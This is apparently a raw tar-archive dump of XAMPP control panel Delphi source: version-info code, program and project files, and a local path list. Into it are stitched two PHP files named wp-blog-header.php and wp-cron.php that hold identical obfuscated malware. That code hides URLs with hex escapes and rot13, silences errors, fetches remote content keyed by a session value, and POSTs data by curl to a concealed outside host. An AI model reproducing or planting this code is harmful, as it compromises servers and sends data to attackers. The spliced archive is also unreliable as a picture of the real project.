VS_FF_SPECIALBUILD) <> 0 then Include(Result, ffSpecialBuild); end; end; function TFixedFileVersionInfo.GetFileOperatingSystem: TVersionOperatingSystemFlags; {$IFNDEF DFS_WIN32} var FileOS: word; {$ENDIF} begin Result := []; if FData <> nil then begin case HiWord(FData^.dwFileOS) of VOS_DOS shr 16: Include(Result, vosDOS); VOS_OS216 shr 16: Include(Result, vosOS2_16); VOS_OS232 shr 16: Include(Result, vosOS2_32); VOS_NT shr 16: Include(Result, vosNT); else Include(Result, vosUnknown); end; {$IFDEF DFS_WIN32} case LoWord(FData^.dwFileOS) of LoWord(VOS__WINDOWS16): Include(Result, vosWindows16); LoWord(VOS__PM16): Include(Result, vosPresentationManager16); LoWord(VOS__PM32): Include(Result, vosPresentationManager32); LoWord(VOS__WINDOWS32): Include(Result, vosWindows32); else Include(Result, vosUnknown); end; {$ELSE} FileOS := LoWord(FData^.dwFileOS); if FileOS = LoWord(VOS__WINDOWS16) then Include(Result, vosWindows16) else if FileOS = LoWord(VOS__PM16) then Include(Result, vosPresentationManager16) else if FileOS = LoWord(VOS__PM32) then Include(Result, vosPresentationManager32) else if FileOS = LoWord(VOS__WINDOWS32) then Include(Result, vosWindows32) else Include(Result, vosUnknown); {$ENDIF} end; end; function TFixedFileVersionInfo.GetFileType: TVersionFileType; begin Result := vftUnknown; if FData <> nil then begin case FData^.dwFileType of VFT_APP: Result := vftApplication; VFT_DLL: Result := vftDLL; VFT_DRV: Result := vftDriver; VFT_FONT: Result := vftFont; VFT_VXD: Result := vftVXD; VFT_STATIC_LIB: Result := vftStaticLib; end; end; end; function TFixedFileVersionInfo.GetFileSubType: DWORD; begin if FData = nil then Result := 0 else begin Result := FData^.dwFileSubtype; end; end; function TFixedFileVersionInfo.GetCreationDate: TDateTime; {$IFDEF DFS_WIN32} var SysTime: TSystemTime; FileTime: TFileTime; begin if FData = nil then Result := 0 else begin FileTime.dwLowDateTime := FData^.dwFileDateLS; FileTime.dwHighDateTime := FData^.dwFileDateMS; if FileTimeToSystemTime(FileTime, SysTime) then begin Result := SystemTimeToDateTime(SysTime); end else Result := 0; end; {$ELSE} var SR: TSearchRec; begin { Fake it until I can figure out how to convert dwFileDateMS and LS } Result := 0; if assigned(FParent) then begin if FindFirst(FParent.GetResourceFilename, faAnyFile, SR) = 0 then begin Result := FileDateToDateTime(SR.Time); FindClose(SR); end; end; (* var BigNum: comp; begin if FData = nil then Result := 0 else begin BigNum := (FData^.dwFileDateMS * MaxLongInt) + FData^.dwFileDateLS; BigNum := BigNum / 10000000; { LS and MS is the number of 100 nanosecond intervals since 1/1/1601 } { 10,000,000s of a second } Result := EncodeDate(1601, 1, 1); Result := BigNum..... end; *) {$ENDIF} end; constructor TVersionNumberInformation.Create(MSVer, LSVer: DWORD); begin inherited Create; FValid := FALSE; FMostSignificant := MSVer; FLeastSignificant := LSVer; end; function TVersionNumberInformation.GetVersionNumber(Index: integer): word; begin Result := 0; if FValid then case Index of IDX_VER_MAJOR: Result := HiWord(FMostSignificant); IDX_VER_MINOR: Result := LoWord(FMostSignificant); IDX_VER_RELEASE: Result := HiWord(FLeastSignificant); IDX_VER_BUILD: Result := LoWord(FLeastSignificant) end end; function TVersionNumberInformation.GetVersionNumberString: string; begin if FValid then begin if FVersionNumberString = '' then Result := Format('%d.%d.%d.%d', [Major, Minor, Release, Build]) else Result := FVersionNumberString; end else Result := '' end; {$IFDEF DFS_VERSION_INFO_AS_CLASS} constructor TdfsVersionInfoResource.Create; begin inherited Create; FVersionInfo := nil; FVersionInfoSize := 0; FFilename := ''; FTranslationIDIndex := 0; FForceEXE := FALSE; FTranslationIDs := TStringList.Create; FFileVersion := TVersionNumberInformation.Create(0, 0); FProductVersion := TVersionNumberInformation.Create(0, 0); FFixedInfo := TFixedFileVersionInfo.Create(Self); end; {$ELSE} constructor TdfsVersionInfoResource.Create(AOwner: TComponent); begin inherited Create(AOwner); FVersionInfo := nil; FVersionInfoSize := 0; FFilename := ''; FTranslationIDIndex := 0; FForceEXE := FALSE; FTranslationIDs := TStringList.Create; FFileVersion := TVersionNumberInformation.Create(0, 0); FProductVersion := TVersionNumberInformation.Create(0, 0); FFixedInfo := TFixedFileVersionInfo.Create(Self); FShowResource := [Low(TPreDef) .. High(TPreDef)] end; {$ENDIF} destructor TdfsVersionInfoResource.Destroy; begin FFileVersion.Free; FProductVersion.Free; FFixedInfo.Free; FTranslationIDs.Free; if FVersionInfo <> nil then FreeMem(FVersionInfo, FVersionInfoSize); inherited Destroy; end; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} procedure TdfsVersionInfoResource.Loaded; begin inherited Loaded; ReadVersionInfoData; (* {$IFNDEF DFS_VERSION_INFO_AS_CLASS} PopulateControls; {$ENDIF} *) end; {$ENDIF} procedure TdfsVersionInfoResource.SetFilename(const Val: TVersionFilename); begin FFilename := Val; ReadVersionInfoData; end; procedure TdfsVersionInfoResource.ReadVersionInfoData; const TRANSLATION_INFO = '\VarFileInfo\Translation'; type TTranslationPair = packed record Lang, CharSet: word; end; PTranslationIDList = ^TTranslationIDList; TTranslationIDList = array [0 .. MAXINT div SizeOf(TTranslationPair) - 1] of TTranslationPair; var QueryLen: UINT; IDsLen: UINT; Dummy: DWORD; IDs: PTranslationIDList; IDCount: integer; FixedInfoData: PVSFixedFileInfo; TempFilename: array [0 .. 255] of char; begin FTranslationIDs.Clear; FFixedInfo.Data := nil; if FVersionInfo <> nil then FreeMem(FVersionInfo, FVersionInfoSize); StrPCopy(TempFilename, GetResourceFilename); { Denis Kopprasch: added a try-Except because GetFileVersionInfoSize can fail with an invalid pointer or something like that! } try FVersionInfoSize := GetFileVersionInfoSize(TempFilename, Dummy); except FVersionInfoSize := 0; end; if FVersionInfoSize = 0 then begin FVersionInfo := nil; FFileVersion.Valid := FALSE; FProductVersion.Valid := FALSE; end else begin GetMem(FVersionInfo, FVersionInfoSize); GetFileVersionInfo(TempFilename, Dummy, FVersionInfoSize, FVersionInfo); VerQueryValue(FVersionInfo, '\', pointer(FixedInfoData), QueryLen); FFixedInfo.Data := FixedInfoData; if VerQueryValue(FVersionInfo, TRANSLATION_INFO, pointer(IDs), IDsLen) then begin { Denis Kopprasch: if IDCount = 0, the for .. to ...-Statement is executed several times (maybe infinite until error) if range checking off } IDCount := IDsLen div SizeOf(TTranslationPair); if (IDCount > 0) then begin for Dummy := 0 to IDCount - 1 do begin { !!! Potential problem. Some of MS's stuff does this, some does not. Need to figure a way to make it work with both. } (* if IDs^[Dummy].Lang = 0 then IDs^[Dummy].Lang := DEFAULT_LANG_ID; { Some of Microsoft's stuff does this } if IDs^[Dummy].CharSet = 0 then IDs^[Dummy].CharSet := DEFAULT_CHAR_SET_ID; *) FTranslationIDs.Add(Format('%.4x%.4x', [IDs^[Dummy].Lang, IDs^[Dummy].CharSet])); end; end else if (IDCount = 0) and (IDsLen > 0) then begin { There was translation info, but there was not a full set. What's there is usually a char set, so we have to swap things around. } FTranslationIDs.Add(Format('%.4x%.4x', [DEFAULT_LANG_ID, IDs^[Dummy].Lang])); end; end; if FTranslationIDIndex >= FTranslationIDs.Count then FTranslationIDIndex := 0; FFileVersion.Valid := true; FFileVersion.FMostSignificant := FFixedInfo.GetFileVersionMS; FFileVersion.FLeastSignificant := FFixedInfo.GetFileVersionLS; FFileVersion.FVersionNumberString := GetVersionInfoString(IDX_FILEVERSION); FProductVersion.Valid := true; FProductVersion.FMostSignificant := FFixedInfo.GetProductVersionMS; FProductVersion.FLeastSignificant := FFixedInfo.GetProductVersionLS; FProductVersion.FVersionNumberString := GetVersionInfoString(IDX_PRODUCTVERSION); end; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} PopulateControls; {$ENDIF} end; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} procedure TdfsVersionInfoResource.PopulateControls; begin if [csDesigning, csLoading] * ComponentState <> [] then exit; if assigned(FFileVersionLabel) then FFileVersionLabel.Caption := FileVersion.AsString; if assigned(FCopyrightLabel) then FCopyrightLabel.Caption := LegalCopyright; if assigned(FProductLabel) then FProductLabel.Caption := ProductName; if assigned(FDescriptionLabel) then FDescriptionLabel.Caption := FileDescription; {$IFDEF DFS_WIN32} if assigned(FVersionListView) then BuildListView; {$ELSE} if assigned(FVersionGrid) then BuildGrid; {$ENDIF} end; {$ENDIF} function TdfsVersionInfoResource.GetResourceFilename: string; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} var TempFilename: array [0 .. 255] of char; {$ENDIF} begin {$IFNDEF DFS_VERSION_INFO_AS_CLASS} if FFilename = '' then begin if IsLibrary and (not FForceEXE) then begin GetModuleFileName(HInstance, TempFilename, SizeOf(TempFilename) - 1); Result := StrPas(TempFilename); end else Result := Application.EXEName; end else {$ENDIF} Result := FFilename; end; function TdfsVersionInfoResource.GetVersionInfoString(Index: integer): string; begin if (Index >= Low(PREDEF_RESOURCES)) and (Index <= High(PREDEF_RESOURCES)) then Result := GetResourceStr(PREDEF_RESOURCES[Index]) else Result := '' end; function TdfsVersionInfoResource.GetResourceStr(Index: string): string; var ResStr: PChar; StrLen: UINT; SubBlock: array [0 .. 255] of char; LangCharSet: string; begin if FTranslationIDIndex < FTranslationIDs.Count then LangCharSet := FTranslationIDs[FTranslationIDIndex] else LangCharSet := DEFAULT_LANG_CHAR_SET; StrPCopy(SubBlock, '\StringFileInfo\' + LangCharSet + '\' + Index); if (FVersionInfo <> nil) and VerQueryValue(FVersionInfo, SubBlock, pointer(ResStr), StrLen) then Result := StrPas(ResStr) else Result := ''; end; procedure TdfsVersionInfoResource.SetTranslationIDIndex(Val: integer); begin if (Val > 0) and (Val < FTranslationIDs.Count) then FTranslationIDIndex := Val; end; function TdfsVersionInfoResource.GetTranslationIDs: TStrings; begin Result := FTranslationIDs; end; procedure TdfsVersionInfoResource.SetForceEXE(Val: boolean); begin if FForceEXE <> Val then begin FForceEXE := Val; ReadVersionInfoData; end; end; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} procedure TdfsVersionInfoResource.SetFileVersionLabel(Value: TLabel); begin FFileVersionLabel := Value; if assigned(FFileVersionLabel) then begin {$IFDEF DFS_WIN32} FFileVersionLabel.FreeNotification(Self); {$ENDIF} FShowResource := FShowResource - [pdFileVersion]; PopulateControls; end; end; procedure TdfsVersionInfoResource.SetCopyrightLabel(Value: TLabel); begin FCopyrightLabel := Value; if assigned(FCopyrightLabel) then begin {$IFDEF DFS_WIN32} FCopyrightLabel.FreeNotification(Self); {$ENDIF} FShowResource := FShowResource - [pdLegalCopyright]; PopulateControls; end; end; procedure TdfsVersionInfoResource.SetProductLabel(Value: TLabel); begin FProductLabel := Value; if assigned(FProductLabel) then begin {$IFDEF DFS_WIN32} FProductLabel.FreeNotification(Self); {$ENDIF} FShowResource := FShowResource - [pdProductName]; PopulateControls; end; end; procedure TdfsVersionInfoResource.SetDescriptionLabel(Value: TLabel); begin FDescriptionLabel := Value; if assigned(FDescriptionLabel) then begin {$IFDEF DFS_WIN32} FDescriptionLabel.FreeNotification(Self); {$ENDIF} FShowResource := FShowResource - [pdFileDescription]; PopulateControls; end; end; procedure TdfsVersionInfoResource.SetShowResource(Value: TPreDefs); begin if Value <> FShowResource then begin FShowResource := Value; PopulateControls; end end; {$IFDEF DFS_WIN32} procedure TdfsVersionInfoResource.SetVersionListView(Value: TListView); begin FVersionListView := Value; if assigned(FVersionListView) then begin FVersionListView.FreeNotification(Self); PopulateControls; end; end; {$ELSE} procedure TdfsVersionInfoResource.SetVersionGrid(Value: TStringGrid); begin FVersionGrid := Value; if assigned(FVersionGrid) then begin {$IFDEF DFS_WIN32} FVersionGrid.FreeNotification(Self); {$ENDIF} PopulateControls; end; end; {$ENDIF} procedure TdfsVersionInfoResource.Notification(AComponent: TComponent; Operation: TOperation); begin inherited Notification(AComponent, Operation); if Operation = opRemove then begin if (AComponent = FFileVersionLabel) then FFileVersionLabel := nil else if (AComponent = FCopyrightLabel) then FCopyrightLabel := nil else if (AComponent = FProductLabel) then FProductLabel := nil else if (AComponent = FDescriptionLabel) then FDescriptionLabel := nil {$IFDEF DFS_WIN32} else if (AComponent = FVersionListView) then FVersionListView := nil; {$ELSE} else if (AComponent = FVersionGrid) then FVersionGrid := nil; {$ENDIF} end; end; {$ENDIF} function TdfsVersionInfoResource.BuildFlags: string; const FLAG_STRING: array [TFixedFileInfoFlag] of string = (SFlagDebug, SFlagInfoInferred, SFlagPatched, SFlagPreRelease, SFlagPrivate, SFlagSpecial); var AFlag: TFixedFileInfoFlag; begin Result := ''; for AFlag := Low(TFixedFileInfoFlag) to High(TFixedFileInfoFlag) do if AFlag in FixedInfo.Flags then Result := Result + FLAG_STRING[AFlag] + ', '; if Length(Result) > 0 then Result := Copy(Result, 1, Length(Result) - 2); end; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} {$IFDEF DFS_WIN32} procedure TdfsVersionInfoResource.BuildListView; procedure Add_Item(StrId: integer; const Str: string); var NewItem: TListItem; begin if (Str <> '') and (TPreDef(StrId) in FShowResource) then begin NewItem := VersionListView.Items.Add; NewItem.Caption := PREDEF_CAPTIONS[StrId]; NewItem.SubItems.Add(Str) end end; procedure Add_Column(const Str: string); var NewColumn: TListColumn; begin NewColumn := VersionListView.Columns.Add; NewColumn.Caption := Str; NewColumn.Width := -2; { nifty! } end; begin if assigned(VersionListView) then with VersionListView do begin Columns.Clear; Items.Clear; { only the minimum parameters in the listview are forced: } ViewStyle := vsReport; ReadOnly := true; ColumnClick := FALSE; Add_Column(SHeaderResource); Add_Column(SHeaderValue); Add_Item(IDX_PRODUCTNAME, ProductName); Add_Item(IDX_PRODUCTVERSION, ProductVersion.AsString); Add_Item(IDX_COMPANYNAME, CompanyName); Add_Item(IDX_LEGALCOPYRIGHT, LegalCopyright); Add_Item(IDX_LEGALTRADEMARKS, LegalTrademarks); Add_Item(IDX_FILEDESCRIPTION, FileDescription); Add_Item(IDX_FILEVERSION, FileVersion.AsString); Add_Item(IDX_INTERNALNAME, InternalName); Add_Item(IDX_ORIGINALFILENAME, OriginalFilename); Add_Item(IDX_BUILDFLAGS, BuildFlags); Add_Item(IDX_COMMENTS, Comments); end end; {$ELSE} procedure TdfsVersionInfoResource.BuildGrid; const FLAG_STRING: array [TFixedFileInfoFlag] of string = (SFlagDebug, SFlagInfoInferred, SFlagPatched, SFlagPreRelease, SFlagPrivate, SFlagSpecial); procedure AddGridRow(var RowNum: integer; StrId: integer; Str: string); var i: integer; begin if (Str <> '') and (TPreDef(StrId) in FShowResource) then begin with VersionGrid do begin Cells[0, RowNum] := PREDEF_CAPTIONS[StrId]; Cells[1, RowNum] := Str; i := Canvas.TextWidth(Str); if i > ColWidths[1] then ColWidths[1] := i + 4; inc(RowNum); end; end; end; var i, FRow: integer; begin With VersionGrid do begin { Set Defaults } FixedCols := 0; FixedRows := 0; ColCount := 2; RowCount := 10; Canvas.Font.Assign(Font); DefaultRowHeight := Canvas.TextHeight(PREDEF_CAPTIONS[IDX_ORIGINALFILENAME]) + 2; ColWidths[0] := Canvas.TextWidth(PREDEF_CAPTIONS[IDX_LEGALTRADEMARKS]) + 4; ColWidths[1] := ClientWidth - ColWidths[0] - 1; { Clear } for i := 0 to (ColCount - 1) do Cols[i].Clear; FRow := 0; AddGridRow(FRow, IDX_PRODUCTNAME, ProductName); AddGridRow(FRow, IDX_PRODUCTVERSION, ProductVersion.AsString); AddGridRow(FRow, IDX_COMPANYNAME, CompanyName); AddGridRow(FRow, IDX_LEGALCOPYRIGHT, LegalCopyright); AddGridRow(FRow, IDX_LEGALTRADEMARKS, LegalTrademarks); AddGridRow(FRow, IDX_FILEDESCRIPTION, FileDescription); AddGridRow(FRow, IDX_FILEVERSION, FileVersion.AsString); AddGridRow(FRow, IDX_INTERNALNAME, InternalName); AddGridRow(FRow, IDX_ORIGINALFILENAME, OriginalFilename); AddGridRow(FRow, IDX_BUILDFLAGS, BuildFlags); AddGridRow(FRow, IDX_COMMENTS, Comments); RowCount := FRow; end; end; {$ENDIF} function TdfsVersionInfoResource.GetVersion: string; begin Result := DFS_COMPONENT_VERSION; end; procedure TdfsVersionInfoResource.SetVersion(const Val: string); begin { empty write method, just needed to get it to show up in Object Inspector } end; {$ENDIF} end. xampp-control-panel/wp-blog-header.php000044400000005366151723641500013766 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-control-panel/wp-cron.php000066600000005366151723641500012564 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-control-panel/xampp_control3.dpr000066600000004331151723641500014134 0ustar00// JCL_DEBUG_EXPERT_INSERTJDBG OFF program xampp_control3; {$R *.dres} uses Forms, ExtCtrls, Controls, Graphics, uMain in 'uMain.pas' {fMain}, uApache in 'uApache.pas', uBaseModule in 'uBaseModule.pas', uTools in 'uTools.pas', uNetstatTable in 'uNetstatTable.pas', uNetstat in 'uNetstat.pas' {fNetstat}, uConfig in 'uConfig.pas' {fConfig}, uMySQL in 'uMySQL.pas', uFileZilla in 'uFileZilla.pas', uMercury in 'uMercury.pas', uProcesses in 'uProcesses.pas', uHelp in 'uHelp.pas' {fHelp}, uServices in 'uServices.pas', gnugettext in 'gnugettext.pas', uLanguage in 'uLanguage.pas' {fLanguage}, VersInfo in 'VersInfo.pas', uConfigUserDefined in 'uConfigUserDefined.pas' {fConfigUserDefined}, uTomcat in 'uTomcat.pas', uLogOptions in 'uLogOptions.pas' {Form1}, uServiceSettings in 'uServiceSettings.pas' {fServiceSettings}, uProcesses_new in 'uProcesses_new.pas';//, //uExceptionDialog in 'uExceptionDialog.pas' {ExceptionDialog}; {$R *.res} begin AddDomainForResourceString('delphi2006_de_en'); AddDomainForResourceString('xampp_control'); gnugettext.textdomain('xampp_control'); TP_GlobalIgnoreClassProperty(TControl, 'HelpKeyword'); TP_GlobalIgnoreClassProperty(TNotebook, 'Pages'); TP_GlobalIgnoreClassProperty(TControl, 'ImeName'); TP_GlobalIgnoreClass(TFont); IniFileName := Application.ExeName; IniFileName := copy(IniFileName, 1, length(IniFileName) - 3) + 'ini'; LoadSettings; if Config.Language = '' then begin Config.Language := GetSystemLangShort; Application.CreateForm(TfLanguage, fLanguage); fLanguage.ShowModal; fLanguage.Free; SaveSettings; end; UseLanguage(Config.Language); Application.Initialize; Application.MainFormOnTaskbar := True; Application.CreateForm(TfMain, fMain); Application.CreateForm(TfNetstat, fNetstat); Application.CreateForm(TfConfig, fConfig); Application.CreateForm(TfHelp, fHelp); Application.CreateForm(TfLanguage, fLanguage); Application.CreateForm(TfConfigUserDefined, fConfigUserDefined); Application.CreateForm(TfLogOptions, fLogOptions); Application.CreateForm(TfServiceSettings, fServiceSettings); Application.Run; end. xampp-control-panel/xampp_control3.dproj000066600000074413151723641500014475 0ustar00 {DB5EDB41-C2DD-4E20-A7B5-70DC6279181C} xampp_control3.dpr True Release 1 Application VCL 18.0 Win32 true true Base true true Base true true Cfg_1 true true true Base true true Cfg_2 true true xampp_control3 CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments= 1033 Vcl;Vcl.Imaging;Vcl.Touch;Vcl.Samples;Vcl.Shell;System;Xml;Data;Datasnap;Web;Soap;Winapi;System.Win;$(DCC_Namespace) 00400000 false false false false false true true Data.Win;Datasnap.Win;Web.Win;Soap.Win;Xml.Win;Bde;$(DCC_Namespace) 1033 $(BDS)\bin\default_app.manifest false 0 0 RELEASE;$(DCC_Define) true true 3 true 3 gfx\XAMPP.ICO CompanyName=;FileDescription=;FileVersion=3.3.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments= None DEBUG;$(DCC_Define) false true true $(BDS)\bin\default_app.manifest gfx\XAMPP.ICO 3 true 2 true 3 CompanyName=;FileDescription=;FileVersion=3.2.1.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments= true 1 true true true MainSource
          fMain
          fNetstat
          fConfig
          fHelp
          fLanguage
          fConfigUserDefined
          Form1
          fServiceSettings
          RCDATA JpgImage_1 RCDATA JpgImage_2 BITMAP Bitmap_2 BITMAP Bitmap_3 BITMAP Bitmap_4 BITMAP Bitmap_5 RCDATA GifImage_5 ICON GifImage_6 Cfg_2 Base Base Cfg_1 Base
          Delphi.Personality.12 xampp_control3.dpr False False 1 0 0 0 False False False False False 1033 1252 1.0.0.0 1.0.0.0 Embarcadero C++Builder Office 2000 Servers Package Embarcadero C++Builder Office XP Servers Package Microsoft Office 2000 Sample Automation Server Wrapper Components Microsoft Office XP Sample Automation Server Wrapper Components True true xampp_control3.rsm true 1 1 Contents\Resources 1 classes 1 Contents\MacOS 0 1 Contents\MacOS 1 1 1 1 res\drawable-xxhdpi 1 library\lib\mips 1 0 1 Contents\MacOS 1 1 library\lib\armeabi-v7a 1 1 0 Contents\MacOS 1 .framework 1 1 1 1 1 1 ..\$(PROJECTNAME).app.dSYM\Contents\Resources\DWARF 1 ..\$(PROJECTNAME).app.dSYM\Contents\Resources\DWARF 1 library\lib\x86 1 1 1 1 1 1 1 library\lib\armeabi 1 0 1 Contents\MacOS 1 1 1 1 res\drawable-normal 1 res\drawable-xhdpi 1 res\drawable-large 1 1 1 1 ../ 1 ../ 1 res\drawable-hdpi 1 library\lib\armeabi-v7a 1 Contents 1 ../ 1 1 1 1 res\values 1 res\drawable-small 1 res\drawable 1 1 1 1 1 res\drawable 1 0 0 Contents\Resources\StartUp\ 0 0 0 0 library\lib\armeabi-v7a 1 0 .bpl 1 .dylib Contents\MacOS 1 .dylib 1 .dylib 1 .dylib res\drawable-mdpi 1 res\drawable-xlarge 1 res\drawable-ldpi 1 0 .dll;.bpl 1 .dylib Contents\MacOS 1 .dylib 1 .dylib 1 .dylib 12
          xampp-control-panel/xampp_control3.dproj.local000066600000114715151723641500015566 0ustar00 2011/10/11 23:20:17.000.558,=C:\Users\mark\Desktop\xampp-control-panel-beta-3\Unit1.pas 2011/10/11 23:23:03.000.651,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\JclDebug.pas 2011/10/11 23:23:55.000.453,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\include\jcl.inc 2011/10/11 23:23:55.000.483,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\include\windowsonly.inc 2011/10/11 23:25:30.000.067,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\JclPeImage.pas 2011/10/11 23:25:51.000.119,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclFileUtils.pas 2011/10/11 23:25:51.000.075,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclBase.pas 2011/10/11 23:26:22.000.043,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclSynch.pas 2011/10/11 23:26:53.000.582,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\JclCommCtrlAdmin.manifest 2011/10/11 23:26:53.000.520,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\JclCIL.pas 2011/10/11 23:26:53.000.565,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\JclCOM.pas 2011/10/11 23:26:53.000.544,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\JclCLR.pas 2011/10/11 23:26:53.000.601,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\JclCommCtrlAdmin.rc 2011/10/11 23:26:53.000.477,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\Hardlinks.pas 2011/10/11 23:26:53.000.497,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\windows\JclAppInst.pas 2011/10/11 23:27:41.000.608,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclArrayLists.pas 2011/10/11 23:27:41.000.921,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclCompression.pas 2011/10/11 23:27:41.000.418,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\bzip2.pas 2011/10/11 23:27:41.000.509,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclAlgorithms.pas 2011/10/11 23:27:41.000.807,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclCharsets.pas 2011/10/11 23:27:41.000.546,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclAnsiStrings.pas 2011/10/11 23:27:41.000.635,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclArraySets.pas 2011/10/11 23:27:41.000.994,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclCounter.pas 2011/10/11 23:27:41.000.833,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclCompilerUtils.pas 2011/10/11 23:27:41.000.971,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclContainerIntf.pas 2011/10/11 23:27:41.000.859,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclComplex.pas 2011/10/11 23:27:41.000.784,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclBinaryTrees.pas 2011/10/11 23:27:41.000.470,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclAbstractContainers.pas 2011/10/11 23:27:41.000.438,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\Jcl8087.pas 2011/10/11 23:27:42.000.300,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclHashSets.pas 2011/10/11 23:27:42.000.375,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclIniFiles.pas 2011/10/11 23:27:42.000.589,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclMIDI.pas 2011/10/11 23:27:42.000.717,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclPreProcessorAlgorithmsTemplates.pas 2011/10/11 23:27:42.000.023,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclDateTime.pas 2011/10/11 23:27:42.000.919,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclPreProcessorContainerIntfTemplates.pas 2011/10/11 23:27:42.000.647,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclNotify.pas 2011/10/11 23:27:42.000.683,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclPCRE.pas 2011/10/11 23:27:42.000.473,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclLinkedLists.pas 2011/10/11 23:27:42.000.619,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclMime.pas 2011/10/11 23:27:42.000.845,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclPreProcessorContainer1DTemplates.pas 2011/10/11 23:27:42.000.749,=C:\Users\mark\Desktop\jcl-2.3.1.4197\source\common\JclPreProcessorArrayListsTemplates.pas 2011/10/11 